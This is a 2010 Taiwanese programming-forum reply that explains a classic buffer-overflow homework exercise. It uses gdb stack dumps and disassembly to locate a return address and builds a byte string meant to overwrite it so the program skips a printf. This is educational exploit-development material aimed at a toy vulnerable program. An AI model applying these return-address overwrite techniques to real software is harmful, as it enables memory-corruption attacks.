作者ledia (下班後才下棋)
看板C_and_CPP
標題Re: Shellcode 嵌入 和 執行
時間Fri Dec 17 15:34:18 2010
前幾天比較忙
沒有時間回信
說一下我玩這題的心得
希望對你有幫助
我相信應該有更好的工具
不過我用 gdb 來作這件事
第一題
4 void func(char *str) {
5 char buffer[24];
6 int *ret;
7 strcpy(buffer,str);
8
9 ret = (int *)&buffer[40];
10 (*ret) += 21;
11 }
// 那個 buffer 裡要跳多少, ret 要加多少
// 第一次還不知道先亂填一個數字
> gcc -o vuln vuln.c -g
> gdb ./vuln
(gdb) set args ooo
(gdb) break vuln.c:9
// 先在 ret 前面設好 break point
// command line argument 就亂給一個就好
(gdb) run
Starting program: /myhome/hack/vuln ooo
Breakpoint 1, func (str=0x7fffffffe766 "ooo") at vuln.c:9
9 ret = (int *)&buffer[40];
// 然後我們要印出 buffer 之後的長相
// x/20ag buffer
// 20 means 20 unit data, a is addrss, g means 8-bytes
(gdb) x/20ag buffer
0x7fffffffe340: 0x0 0x2
0x7fffffffe350: 0x7fffffffe3c0 0x7fffffffe3f8
0x7fffffffe360: 0x7fffffffe390
0x400626 <main+38>
0x7fffffffe370: 0x7fffffffe3e0 0x200400678
0x7fffffffe380: 0x2 0x400446 <_init+14>
0x7fffffffe390: 0x7fffffffe3c0 0x40053e <_start+142>
0x7fffffffe3a0: 0x0 0x0
0x7fffffffe3b0: 0x7fffffffe3d8 0x0
0x7fffffffe3c0: 0x0 0x40532000
0x7fffffffe3d0: 0x0 0x2
// 請注意看第三行
// 0x400626 <main+38> 就是我們要的東西
// 因為是每 8 bytes 一個單位, 他是第 6 個 8-bytes 的 low word
// 所以是 buffer 後幾格, 請自己計算
// 但是要把他改成多少呢? 回去看看 main 長什麼樣子
(gdb) up
(gdb) disassemble
// up 是用來回到前一個 frame, 也就是 main
// disassemble 是用來看指令
Dump of assembler code for function main:
0x0000000000400600 <main+0>: push %rbp
0x0000000000400601 <main+1>: mov %rsp,%rbp
0x0000000000400604 <main+4>: sub $0x20,%rsp
0x0000000000400608 <main+8>: mov %edi,0xffffffffffffffec(%rbp)
0x000000000040060b <main+11>: mov %rsi,0xffffffffffffffe0(%rbp)
0x000000000040060f <main+15>: movl $0x0,0xfffffffffffffffc(%rbp)
0x0000000000400616 <main+22>: mov 0xffffffffffffffe0(%rbp),%rax
0x000000000040061a <main+26>: add $0x8,%rax
0x000000000040061e <main+30>: mov (%rax),%rdi
0x0000000000400621 <main+33>: callq 0x4005c0 <func>
0x0000000000400626 <main+38>: movl $0x1,0xfffffffffffffffc(%rbp)
0x000000000040062d <main+45>: mov $0x4006dc,%edi
0x0000000000400632 <main+50>: callq 0x40045c <puts>
0x0000000000400637 <main+55>: mov $0x4006e3,%edi
0x000000000040063c <main+60>: callq 0x40045c <puts>
0x0000000000400641 <main+65>: mov $0x0,%eax
0x0000000000400646 <main+70>: leaveq
0x0000000000400647 <main+71>: retq
// 可以看到
// 0x0000000000400621 => call func
// 0x0000000000400626 => x = 1
// 0x000000000040062d, 0x0000000000400632 => call printf
// 0x0000000000400637, 0x000000000040063c => call printf
// 所以新 return address 要是 <main+55>, instead of original <main+38>
第二題
// 也用到一樣的方式
// 承接 gdb 中的步驟
(gdb) x/6ag buffer
0x7fffffffe340: 0x0 0x2
0x7fffffffe350: 0x7fffffffe3c0 0x7fffffffe3f8
0x7fffffffe360: 0x7fffffffe390 0x400626 <main+38>
這些就是 roughly 你的 shellcode
像是:
char shellcode[] =
"\x00\x00\x00\x00\x00\x00\x00\x00" // 0x0
"\x02\x00\x00\x00\x00\x00\x00\x00" // 0x2
"\xc0\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe3c0
"\xf8\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe3f8
"\x90\xe3\xff\xff\xff\x7f\x00\x00" // 0x7fffffffe390
"\x37\x06\x40"; // 0x400637 <main+55>
就這樣結束了嗎 ?
還沒~
因為 argv (command line argument) 是 zero-end string
所以這個 shellcode 從 command line 是不可能傳進去的
有一個選擇: 把全部的 \x00 改成 \x01 (非零, 什麼都好)
但是因為這中間有一個好像是 base pointer 還是什麼鬼的
所以把 stack 填爛掉了可能可以達成題目需求 (skip one printf)
但是最後程式從 main return 還是會 crash
想要能夠讓程式安詳的離開
還有很多很多事情要做
需要再要多花點時間 study 了 ^^:
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 140.112.30.49
→ ledia:btw, 這還不算 shellcode, 直到真的要讓程式安詳的離開 12/17 15:38
※ 編輯: ledia 來自: 140.112.30.49 (12/17 15:48)
推 b98901056:感覺用c++會比較難寫耶XD asm injection如何?:P 12/18 19:23